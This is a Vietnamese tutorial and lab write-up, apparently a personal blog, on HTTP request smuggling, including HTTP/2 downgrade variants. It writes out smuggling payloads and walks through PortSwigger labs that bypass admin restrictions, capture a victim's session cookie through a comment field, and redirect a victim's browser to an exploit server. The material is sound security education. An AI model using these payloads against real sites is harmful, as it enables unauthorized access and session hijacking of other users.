<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked7cGET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 144x=0
</code></pre></div></div>

<p>Nếu thành công, phần từ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /404 HTTP/1.1
</code></pre></div></div>

<p>sẽ bị “đẩy” sang request tiếp theo.</p>

<p>Lúc đó normal request sẽ bị biến dạng và response cũng đổi sang:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>404 Not Found
</code></pre></div></div>

<p>=&gt; xác nhận được vulnerability.</p>

<h3 id="lưu-ý-khi-test-bằng-burp-repeater">Lưu ý khi test bằng Burp Repeater</h3>

<p>Khi gửi payload TE.CL bằng Burp:</p>

<ul>
  <li>Vào <strong>Repeater → bỏ chọn “Update Content-Length”</strong></li>
  <li>Đảm bảo giữ nguyên <code class="language-plaintext highlighter-rouge">\r\n\r\n</code> sau chunk cuối <code class="language-plaintext highlighter-rouge">0</code></li>
</ul>

<p>Nếu Burp tự sửa <code class="language-plaintext highlighter-rouge">Content-Length</code>, payload có thể fail dù target vulnerable.</p>

<hr />

<h2 id="một-vài-lưu-ý-quan-trọng-khi-confirm-request-smuggling">Một vài lưu ý quan trọng khi confirm request smuggling</h2>

<h3 id="1-dùng-hai-connection-khác-nhau">1. Dùng hai connection khác nhau</h3>

<p>Attack request và normal request <strong>không nên gửi chung connection</strong>.</p>

<p>Nếu dùng cùng một TCP connection thì kết quả không đủ để chứng minh vulnerability tồn tại thật sự.</p>

<hr />

<h3 id="2-dùng-cùng-endpoint-nếu-có-thể">2. Dùng cùng endpoint nếu có thể</h3>

<p>Nên để:</p>

<ul>
  <li>cùng URL</li>
  <li>cùng parameter</li>
  <li>cùng route</li>
</ul>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/search?q=test
</code></pre></div></div>

<p>cho cả attack request và normal request.</p>

<p>Vì nhiều hệ thống hiện đại dùng load balancing hoặc route request khác nhau dựa vào URL.</p>

<p>Nếu hai request đi đến hai back-end khác nhau thì attack sẽ fail.</p>

<hr />

<h3 id="3-đây-là-một-cuộc-race">3. Đây là một cuộc race</h3>

<p>Sau khi gửi attack request:</p>

<blockquote>
  <p>gửi normal request ngay lập tức</p>
</blockquote>

<p>Bạn đang cạnh tranh với request từ user khác.</p>

<p>Nếu hệ thống bận, có thể phải thử nhiều lần mới thấy kết quả.</p>

<hr />

<h3 id="4-load-balancer-có-thể-khiến-test-fail">4. Load balancer có thể khiến test fail</h3>

<p>Nếu front-end phân phối request theo thuật toán load balancing:</p>

<ul>
  <li>request A → backend #1</li>
  <li>request B → backend #2</li>
</ul>

<p>thì attack sẽ không hoạt động.</p>

<p>Đó là lý do request smuggling đôi khi rất “flaky”, thử 10 lần mới dính 1 lần.</p>

<hr />

<h3 id="5-cẩn-thận-khi-test-trên-hệ-thống-thật">5. Cẩn thận khi test trên hệ thống thật</h3>

<p>Nếu attack request vô tình ảnh hưởng đến request của người dùng khác thay vì request test của bạn:</p>

<blockquote>
  <p>nghĩa là bạn vừa làm gián đoạn người dùng thật.</p>
</blockquote>

<p>Do request smuggling có khả năng poison request queue, việc test thiếu cẩn thận trên production có thể gây ảnh hưởng tới người khác.</p>

<p>Vì vậy nên ưu tiên:</p>

<ul>
  <li>môi trường lab</li>
  <li>staging</li>
  <li>bug bounty có safe harbor rõ ràng</li>
</ul>

<p>thay vì spam payload trên production.</p>

<h2 id="iv-cách-khai-thác-lỗ-hổng-http-request-smuggling">IV. Cách khai thác lỗ hổng HTTP request smuggling</h2>

<p>Giờ bạn đã quen thuộc với các khái niệm cơ bản, hãy cùng xem cách sử dụng tấn công HTTP request smuggling để tạo ra nhiều cách tấn công có mức độ nghiêm trọng cao hơn</p>

<h5 id="using-http-request-smuggling-to-bypass-front-end-security-controls">Using HTTP request smuggling to bypass front-end security controls</h5>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509225155.png" alt="" /></p>

<p>Ở đây bài lab này cho ta truy cập được trang home nhưng Front end server đã chặn /admin. Nhiệm vụ của chúng ta là sử dụng lỗ hổng HTTP RM để có thể bypass và truy cập trang admin để có thể xóa tài khoản Carlos</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509234312.png" alt="" /></p>

<p>Ở đây như các bạn thấy thì mình đã sử dụng CL-TE để có thể thêm request thứ 2 /admin vào nhưng server trả về lỗi 401 cùng với log 
<img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509234709.png" alt="" /></p>

<p>Tức là backend yêu cầu truy cập admin từ localhost ,Lúc này mình chỉ cần sửa lại request smuggle bên trong, thêm <code class="language-plaintext highlighter-rouge">Host: localhost</code> vào là xong.
<img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509234930.png" alt="" /></p>

<p>Tuy nhiên, có một cái lỗi nhỏ: khi request tiếp theo của người dùng  đến, nó sẽ bị dính vào sau cái request smuggle của mình. Để giải quyết, mình thêm header <code class="language-plaintext highlighter-rouge">Content-Length</code> vào request nội bộ đó để nó “nuốt” luôn các header của request sau, tránh làm hỏng cấu trúc request mình muốn gửi.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509235347.png" alt="" /></p>

<p>và cuối cùng chúng t cũng truy cập được admin panel</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509235443.png" alt="" /></p>

<p>Truy cập trực tiếp để xóa thì không được nên mình xử lí request như lúc ban đầu tiếp</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509235557.png" alt="" /></p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260509235634.png" alt="" /></p>

<p>Và bài lab bypass Front-End server để có thể truy cập vào trang admin đã xong.</p>

<p>Bạn có thể làm tương tự với lỗ hổng TE-CL tại đây https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl</p>

<h3 id="revealing-front-end-request-rewriting">Revealing front-end request rewriting</h3>

<p>Thường thì trước khi Request được chuyển tới backend server thì , FE server  thường thực hiện rewrite lại yêu cầu bằng cách thêm các header được bổ sung</p>

<p>Ví dụ như : thêm X-fowarded-for chứa Ip user , xác định ID của user dựa trên session token hoặc thêm header xác định người dùng , hoặc 1 số header có 1 số thông tin nhạy cảm mà attacker có thể khai thác</p>

<p>Để có thể hình dung rõ hơn về cách thức tấn công , bạn và tui có thể làm thử bài lab này</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510215322.png" alt="" /></p>

<p>Cũng như các bài lab khác , việc cần làm của chúng ta là truy cập vào /admin vốn bị block bởi FE server và xóa tài khoản Carlos</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510220104.png" alt="" /></p>

<p>Đầu tiên khi duyêt  tới trang admin thì được báo với lỗi là chỉ được truy cập bằng ip của localhost</p>

<p>Ở trang chủ có tính năng search nên mình thử search thì thấy input của mình nhập vào được hiển thị trên màn hình 
<img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510220639.png" alt="" /></p>

<p>Bắt thử request này trên Burp Suite thì thấy có tham số là search = hello</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510220741.png" alt="" /></p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510222839.png" alt="" /></p>

<p>Phản hồi thứ hai sẽ chứa kết quả theo sau là phần bắt đầu của yêu cầu HTTP được viết lại.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510222944.png" alt="" /></p>

<p>Bởi vì server đã tiết lộ header quan trọng nên hãy ghi lại tiêu đề Host như trên để chúng ta có thể lấy header đó dùng cho mục đích là thêm vào ip 127.0.0.1</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510223125.png" alt="" /></p>

<p>Kết quả là chúng ta đã có thể truy cập được admin panel , việc còn lại chỉ còn là gửi request để xóa tài khoản Carlos</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510223248.png" alt="" /></p>

<p>Và done !!!!</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260510223229.png" alt="" /></p>

<p>Điều chúng ta có thể rút ra được trong bài lab này là Trong các hệ thống thực tế, Front-end (như Nginx, F5, Cloudflare) thường thêm các header ẩn (ví dụ: <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> hoặc một cái tên ngẫu nhiên như <code class="language-plaintext highlighter-rouge">X-abcdef-Ip</code>) để báo cho Backend biết IP thực của người dùng là gì. Backend sẽ dựa vào header này để quyết định có cho phép vào trang <code class="language-plaintext highlighter-rouge">/admin</code> hay không.</p>

<h3 id="bypassing-client-authentication">Bypassing client authentication</h3>

<p>Trong quá trình TLS handshake, server sẽ xác thực danh tính của chính nó với client (thường là trình duyệt) bằng cách gửi certificate. Certificate này chứa <strong>Common Name (CN)</strong>, và giá trị này phải khớp với domain của website để client xác nhận rằng nó đang giao tiếp đúng server mong muốn.</p>

<p>Ngoài việc server xác thực với client, một số hệ thống còn triển khai <strong>mutual TLS (mTLS)</strong>, tức là phía client cũng phải cung cấp certificate cho server. Lúc này, trường <strong>CN</strong> trong certificate của client thường được dùng như một định danh người dùng (ví dụ username) và có thể được ứng dụng phía sau sử dụng để xử lý phân quyền hoặc xác thực.</p>

<p>Thông thường, thành phần đứng trước back-end (reverse proxy, load balancer hoặc front-end server) sẽ lấy thông tin từ client certificate rồi chuyển tiếp xuống ứng dụng thông qua các HTTP header không chuẩn. Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /admin HTTP/1.1Host: normal-website.comX-SSL-CLIENT-CN: carlos
</code></pre></div></div>

<p>Ở đây, header <code class="language-plaintext highlighter-rouge">X-SSL-CLIENT-CN</code> chứa CN của client certificate, và ứng dụng phía sau có thể dùng giá trị này để xác định người dùng là <code class="language-plaintext highlighter-rouge">carlos</code>.</p>

<p>Vấn đề nằm ở chỗ back-end thường <strong>tin tưởng tuyệt đối</strong> các header này vì chúng được cho là chỉ có front-end server mới có thể thêm vào. Nếu attacker kiểm soát được header với giá trị phù hợp, có khả năng sẽ bypass được cơ chế access control.</p>

<p>Trong thực tế, việc này thường không dễ khai thác vì front-end server sẽ tự động <strong>ghi đè (overwrite)</strong> những header như <code class="language-plaintext highlighter-rouge">X-SSL-CLIENT-CN</code> nếu client cố tình gửi lên.</p>

<p>Tuy nhiên, với <strong>HTTP Request Smuggling</strong>, request được “giấu” khỏi front-end server và đi thẳng xuống back-end. Điều đó có nghĩa là các header trong smuggled request sẽ không bị sửa hoặc ghi đè.</p>

<p>Ví dụ attacker có thể chèn một request như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /example HTTP/1.1Host: vulnerable-website.comContent-Type: x-www-form-urlencodedContent-Length: 64Transfer-Encoding: chunked0GET /admin HTTP/1.1X-SSL-CLIENT-CN: administratorFoo: x
</code></pre></div></div>

<p>Trong trường hợp này, nếu back-end tin tưởng header <code class="language-plaintext highlighter-rouge">X-SSL-CLIENT-CN</code>, attacker có thể giả mạo danh tính của <code class="language-plaintext highlighter-rouge">administrator</code> để truy cập vào các tài nguyên bị hạn chế.</p>

<h3 id="capturing-other-users-requests">Capturing other users’ requests</h3>

<p>Trong một số ứng dụng web, nếu tồn tại chức năng cho phép người dùng <strong>lưu trữ và hiển thị lại dữ liệu dạng text</strong>, ví dụ như bình luận, email, mô tả hồ sơ, tên hiển thị, tin nhắn, v.v., thì kẻ tấn công có thể lợi dụng các chức năng này để <strong>ghi lại một phần request của người dùng khác</strong>.</p>

<p>Kỹ thuật này thường xuất hiện trong bối cảnh <strong>HTTP Request Smuggling</strong>, khi front-end server và back-end server xử lý độ dài request không thống nhất với nhau. Nếu khai thác thành công, attacker có thể khiến request tiếp theo của nạn nhân bị nối vào body của một request đã được smuggle trước đó.</p>

<p>Để có thể hiểu rõ hơn thì chúng ta cùng đi sau vào phần bài tập sau đây</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516215122.png" alt="" /></p>

<p>Bài lab này yêu cầu chúng ta có thể truy cập được vào tài khoản của nạn nhân</p>

<p>Lướt sơ qua trang thì chúng ta thấy 1 vài bài post với chức năng comment , mình thử để lại comment và intercep lại request thử có gì đặc biệt ko 
<img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516215420.png" alt="" /></p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516215652.png" alt="" /></p>

<p>Request này sẽ lưu nội dung trong tham số comment và hiển thị nó trên bài blog.</p>

<p>Điểm đáng chú ý là nếu attacker có thể smuggle một request tương tự, nhưng đặt tham số cần lưu trữ ở cuối body, ví dụ:</p>

<p><code class="language-plaintext highlighter-rouge">csrf=...&amp;postId=2&amp;name=...&amp;email=...&amp;website=...&amp;comment=</code></p>

<p>thì bất kỳ dữ liệu nào bị nối thêm phía sau cũng có thể bị lưu vào phần comment.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516220503.png" alt="" /></p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516220835.png" alt="" /></p>

<p>đã capture được request của victim, vì có dấu hiệu rất rõ:</p>

<p><code class="language-plaintext highlighter-rouge">user-agent: Mozilla/5.0 (Victim) ...</code></p>

<p>Nhưng hiện tại  mới capture tới đoạn:</p>

<p><code class="language-plaintext highlighter-rouge">accept:</code></p>

<p>chưa tới header Cookie. Nghĩa là Content-Length: 470 của request smuggled bên trong vẫn <strong>chưa đủ lớn</strong> để kéo thêm phần sau của request victim vào comment.</p>

<p>Nên tui tạo 1 request song song là Post với foo=bar cùng như nhiều dòng \r\n để có thể đủ cl</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516224859.png" alt="" /></p>

<p>Một cái request tấn công là CL 960 , 1 cái gửi song song là 981 , vì sau nhiều lần test tui thấy  thực tế body sau comment=helo chưa đủ 960 bytes. Backend vì thế vẫn chờ thêm dữ liệu trên cùng connection.Nên khi tui gửi 2 tab lần lượt thì thì backend lấy request tab 2 append vào phần còn thiếu của tab 1. Vì comment= nằm cuối, phần POST / HTTP/1.1 … foo=bar … bị lưu vào comment.</p>

<p>Mấy cái \r\n nhiều trong tab 2 có tác dụng như <strong>padding</strong>: nó làm request tab 2 dài hơn, đủ byte để thỏa Content-Length đang thiếu. Khi đủ byte, backend xử lý xong request comment và trả response, nênt có fix được đoạn này</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516224917.png" alt="" /></p>

<p>Và  sau nhiều lần test thử và tăng CL liên tục thì cuối cùng tui cũng lấy được session của Victim</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516224711.png" alt="" /></p>

<p>Lấy sesson token đó và đăng nhập thì chúng ta có được tài khoản của của admin.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516224837.png" alt="" /></p>

<h2 id="advanced-http-request-smuggling">Advanced HTTP request smuggling</h2>

<p>Sau khi đã hiểu các kỹ thuật request smuggling cơ bản như CL.TE, TE.CL hoặc TE.TE, phần nâng cao sẽ đi sâu hơn vào những biến thể phức tạp hơn, đặc biệt là các kỹ thuật liên quan đến <strong>HTTP/2</strong>.</p>

<p>Điểm thú vị là HTTP/2 ban đầu được xem là “an toàn hơn” trước request smuggling, vì giao thức này không xác định độ dài request bằng các header mơ hồ như Content-Length hay Transfer-Encoding theo cách HTTP/1.1 thường làm. Tuy nhiên, trong thực tế, rất nhiều hệ thống vẫn dùng HTTP/2 ở phía client nhưng lại chuyển đổi request xuống HTTP/1.1 khi giao tiếp với back-end. Quá trình này gọi là <strong>HTTP/2 downgrading</strong>.</p>

<p>Chính bước chuyển đổi này tạo ra nhiều bề mặt tấn công mới.</p>

<h2 id="v-http2-request-smuggling-là-gì">V. HTTP/2 request smuggling là gì?</h2>

<p>Trong HTTP/2, dữ liệu không được gửi dưới dạng text thuần như HTTP/1.1, mà được chia thành nhiều <strong>frame</strong> nhị phân. Mỗi frame có trường độ dài riêng, giúp server biết chính xác cần đọc bao nhiêu byte.</p>

<p>Về lý thuyết, điều này làm request smuggling khó xảy ra hơn, vì attacker không còn dễ tạo ra sự mơ hồ giữa:</p>

<p><code class="language-plaintext highlighter-rouge">Content-Length</code></p>

<p>và:</p>

<p><code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code></p>

<p>Tuy nhiên, vấn đề xuất hiện khi front-end nhận request bằng HTTP/2, sau đó rewrite nó thành HTTP/1.1 để gửi về back-end.</p>

<p>Ví dụ:</p>

<p><code class="language-plaintext highlighter-rouge">Client --HTTP/2--&gt; Front-end --HTTP/1.1--&gt; Back-end</code></p>

<p>Nếu quá trình downgrade này xử lý header không chặt chẽ, attacker có thể lợi dụng để tạo ra request mà front-end và back-end hiểu khác nhau.</p>

<h2 id="http2-downgrading">HTTP/2 downgrading</h2>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516230531.png" alt="" /></p>

<p>HTTP/2 downgrading là quá trình front-end chuyển một request HTTP/2 thành HTTP/1.1.</p>

<p>Việc này rất phổ biến vì nhiều hệ thống muốn hỗ trợ HTTP/2 cho người dùng bên ngoài, nhưng back-end cũ phía sau vẫn chỉ hỗ trợ HTTP/1.1.</p>

<p>Ví dụ HTTP/2 request có dạng logic như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
</code></pre></div></div>

<p>Khi downgrade sang HTTP/1.1, nó có thể trở thành:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
</code></pre></div></div>

<p>Nghe có vẻ bình thường, nhưng nếu attacker chèn thêm các header nhạy cảm như content-length hoặc transfer-encoding, front-end có thể xử lý theo logic HTTP/2, còn back-end lại xử lý theo logic HTTP/1.1. Đây chính là nền tảng của các lỗi H2.CL và H2.TE.</p>

<h2 id="h2cl-vulnerabilities">H2.CL vulnerabilities</h2>

<p>H2.CL là biến thể request smuggling xảy ra khi attacker chèn header:</p>

<p><code class="language-plaintext highlighter-rouge">content-length</code></p>

<p>vào request HTTP/2.</p>

<p>Trong HTTP/2, độ dài request vốn được xác định bằng frame length, không cần dựa vào Content-Length. Nhưng khi front-end downgrade request sang HTTP/1.1, nó có thể copy header content-length do attacker cung cấp vào request gửi cho back-end.</p>

<p>Ví dụ phía front-end nhận HTTP/2 request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
content-length 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1
</code></pre></div></div>

<p>Front-end dựa vào cơ chế HTTP/2 nên nghĩ request đã kết thúc đúng theo frame. Nhưng khi downgrade xuống HTTP/1.1, back-end nhìn thấy:</p>

<p><code class="language-plaintext highlighter-rouge">Content-Length: 0</code></p>

<p>và cho rằng body của request đầu tiên rỗng. Phần còn lại:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
</code></pre></div></div>

<p>có thể bị hiểu thành một request mới được smuggle vào back-end.</p>

<p>Nói ngắn gọn: <strong>front-end dùng độ dài của HTTP/2, còn back-end dùng Content-Length của HTTP/1.1</strong>, dẫn đến desync.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516231856.png" alt="" /></p>

<p>Ở lab này, ứng dụng bị lỗi <strong>HTTP/2 request smuggling</strong> do front-end server downgrade request từ HTTP/2 xuống HTTP/1.1 nhưng xử lý Content-Length không chặt chẽ.</p>

<p>Mục tiêu của lab là khiến trình duyệt của victim tải và thực thi một file JavaScript độc hại từ exploit server, với payload:</p>

<p><code class="language-plaintext highlighter-rouge">alert(document.cookie)</code></p>

<p>Victim sẽ truy cập trang chủ định kỳ khoảng mỗi 10 giây, vì vậy ta cần smuggle request đúng thời điểm để request của victim bị ảnh hưởng.</p>

<h2 id="kiểm-tra-lỗ-hổng">Kiểm tra lỗ hổng</h2>

<p>Trong Burp Repeater, cần chuyển request sang HTTP/2:</p>

<ol>
  <li>Mở request trong Repeater.</li>
  <li>Mở panel Inspector.</li>
  <li>Mở phần Request attributes.</li>
  <li>Chuyển Protocol sang HTTP/2.</li>
</ol>

<p>Sau đó gửi thử request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST / HTTP/2 
Host: YOUR-LAB-ID.web-security-academy.net 
Content-Length: 0 
SMUGGLED
</code></pre></div></div>

<p>Nếu gửi nhiều lần và thấy cứ mỗi request thứ hai trả về 404, điều đó cho thấy back-end đã append request tiếp theo vào prefix SMUGGLED.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516232900.png" alt="" /></p>

<p>Nói cách khác, ta đã tạo được desync giữa front-end và back-end.</p>

<p>Tiếp theo, kiểm tra endpoint /resources.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516233001.png" alt="" /></p>

<p>Ở trong phần target thì mình tìm được endpoint resources ,nên mình thử truy cập thì thấy rằng <img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516233055.png" alt="" /></p>

<p>Thì ta thấy rằng t sẽ được chuyển hướng đến <code class="language-plaintext highlighter-rouge">https://YOUR-LAB-ID.web-security-academy.net/resources/</code>.</p>

<p>Đây là gadget quan trọng. Nếu ta kiểm soát được header Host trong request đi đến back-end, ta có thể khiến redirect trỏ sang domain khác.</p>

<h2 id="smuggle-request-redirect">Smuggle request redirect</h2>

<p>Ta tạo một HTTP/2 request có Content-Length: 0, nhưng trong body lại nhét một request HTTP/1.1</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516234320.png" alt="" /></p>

<p>Khi front-end downgrade request này xuống HTTP/1.1, back-end sẽ thấy request POST / với Content-Length: 0, nên nó kết thúc request ngay. Phần phía sau:</p>

<p><code class="language-plaintext highlighter-rouge">GET /resources HTTP/1.1 Host: foo Content-Length: 5 x=1</code></p>

<p>sẽ bị giữ lại và có thể ảnh hưởng request tiếp theo trên connection.</p>

<p>Nếu thành công, request tiếp theo có thể bị redirect đến host ta kiểm soát.</p>

<p>Truy cập exploit server của lab và cấu hình như sau:</p>

<p><code class="language-plaintext highlighter-rouge">File path: /resources</code></p>

<p>Phần body đặt payload JavaScript:</p>

<p><code class="language-plaintext highlighter-rouge">alert(document.cookie)</code></p>

<p>Sau đó bấm Store.</p>

<p>Ý tưởng là khi victim bị redirect tới exploit server tại /resources/, trình duyệt sẽ tải nội dung JavaScript do ta kiểm soát.</p>

<p>Quay lại Burp Repeater, sửa request smuggled để header Host trỏ đến exploit server:</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516235006.png" alt="" /></p>

<p>Gửi request vài lần. Nếu response trả về redirect sang exploit server, nghĩa là ta đã kiểm soát được redirect thông qua request smuggling.</p>

<p>Ví dụ response mong muốn sẽ có dạng:</p>

<p><code class="language-plaintext highlighter-rouge">HTTP/1.1 302 Found Location: https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/resources/</code></p>

<p>Trong lab này, /resources là một endpoint có hành vi redirect tự động sang /resources/.</p>

<p>Khi request bị smuggle với header:</p>

<p><code class="language-plaintext highlighter-rouge">Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net</code></p>

<p>back-end tạo redirect dựa trên Host header này. Kết quả là victim bị điều hướng sang exploit server.</p>

<p>Nếu thời điểm trúng đúng lúc browser của victim đang import JavaScript resource, payload:</p>

<p><code class="language-plaintext highlighter-rouge">alert(document.cookie) </code> sẽ được thực thi trong trình duyệt victim.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516235250.png" alt="" /></p>

<p>Sau khi gửi payload H2.CL vài lần, mình kiểm tra access log trên exploit server. Khi thấy request GET /resources/ với User-Agent chứa Mozilla/5.0 (Victim), điều này chứng minh trình duyệt victim đã bị redirect sang exploit server. Do file /resources trên exploit server chứa payload alert(document.cookie), request này cho thấy JavaScript độc hại đã được tải trong ngữ cảnh victim. Lab sau đó chuyển trạng thái solved.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516235047.png" alt="" /></p>

<p>Ngoài ra còn 1 vài cách khác khá là hay nhưng vì bài viết cũng dài rồi nên các bạn có thể tự Research và làm thêm nhé.</p>
<h2 id="h2te-vulnerabilities">H2.TE vulnerabilities</h2>

<p>H2.TE là biến thể xảy ra khi attacker chèn header:</p>

<p><code class="language-plaintext highlighter-rouge">transfer-encoding: chunked</code></p>

<p>vào request HTTP/2.</p>

<p>Theo chuẩn, HTTP/2 không dùng chunked encoding. Vì vậy, nếu front-end thấy header này thì nó nên strip header đó hoặc block request. Nhưng nếu front-end không làm vậy và vẫn downgrade request xuống HTTP/1.1, back-end có thể xử lý Transfer-Encoding: chunked như một request HTTP/1.1 bình thường.</p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
</code></pre></div></div>

<p>Sau khi downgrade, back-end có thể nhận được:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
</code></pre></div></div>

<p>Ở đây, 0 đánh dấu kết thúc chunked body. Phần sau đó có thể bị back-end xử lý như một request mới. Đây chính là request smuggling thông qua HTTP/2 downgrade.</p>

<h2 id="hidden-http2-support">Hidden HTTP/2 support</h2>

<p>Một điểm dễ bị bỏ sót khi test là <strong>hidden HTTP/2 support</strong>.</p>

<p>Thông thường, browser hoặc Burp chỉ dùng HTTP/2 nếu server quảng bá hỗ trợ HTTP/2 thông qua ALPN trong quá trình TLS handshake. Tuy nhiên, có một số server thật ra vẫn hỗ trợ HTTP/2 nhưng cấu hình sai, không advertise đúng.</p>

<p>Kết quả là tester tưởng target chỉ hỗ trợ HTTP/1.1 và bỏ qua toàn bộ bề mặt tấn công liên quan đến HTTP/2.</p>

<p>Trong Burp Repeater, có thể ép request dùng HTTP/2 bằng cách:</p>

<ol>
  <li>Vào Settings.</li>
  <li>Chọn Tools &gt; Repeater.</li>
  <li>Bật Allow HTTP/2 ALPN override.</li>
  <li>Trong Repeater, mở Inspector.</li>
  <li>Ở phần Request attributes, đổi Protocol sang HTTP/2.</li>
</ol>

<p>Điều này cho phép kiểm tra xem server có hidden HTTP/2 support hay không.</p>

<h2 id="response-queue-poisoning">Response queue poisoning</h2>

<p>Response queue poisoning là một kỹ thuật request smuggling nguy hiểm hơn rất nhiều so với việc chỉ capture một request.</p>

<p>Thay vì chỉ làm back-end hiểu sai một request, attacker có thể làm lệch hàng đợi response giữa front-end và back-end. Khi đó, response đáng lẽ thuộc về người dùng A có thể bị gửi nhầm cho attacker hoặc người dùng B.</p>

<p>Nếu khai thác thành công, attacker có thể đánh cắp response chứa dữ liệu nhạy cảm như:</p>

<p><code class="language-plaintext highlighter-rouge">Set-Cookie</code></p>

<p>hoặc nội dung trang tài khoản của người dùng khác.</p>

<p>Mức độ ảnh hưởng có thể rất nghiêm trọng, thậm chí dẫn đến takeover nhiều tài khoản hoặc toàn bộ ứng dụng nếu response chứa thông tin đặc quyền.</p>

<h2 id="request-smuggling-qua-crlf-injection">Request smuggling qua CRLF injection</h2>

<p>Một kỹ thuật nâng cao khác trong HTTP/2 là lợi dụng CRLF injection.</p>

<p>Trong HTTP/1.1, chuỗi:</p>

<p><code class="language-plaintext highlighter-rouge">\r\n</code></p>

<p>được dùng để phân tách các header. Vì vậy, nếu attacker có thể chèn \r\n vào header, họ có thể tạo ra header mới.</p>

<p>Trong HTTP/2, header không được phân tách bằng ký tự text như HTTP/1.1. Nó là dữ liệu nhị phân, nên \r\n trong giá trị header chỉ là một phần của value, không có ý nghĩa đặc biệt với front-end.</p>

<p>Ví dụ trong HTTP/2:</p>

<p><code class="language-plaintext highlighter-rouge">foo: bar\r\nTransfer-Encoding: chunked</code></p>

<p>Front-end HTTP/2 có thể xem đây chỉ là một header foo có value dài. Nhưng khi downgrade sang HTTP/1.1, back-end có thể thấy:</p>

<p><code class="language-plaintext highlighter-rouge">Foo: bar Transfer-Encoding: chunked</code></p>

<p>Tức là attacker đã chèn được một header mới vào request HTTP/1.1 sau khi downgrade.</p>

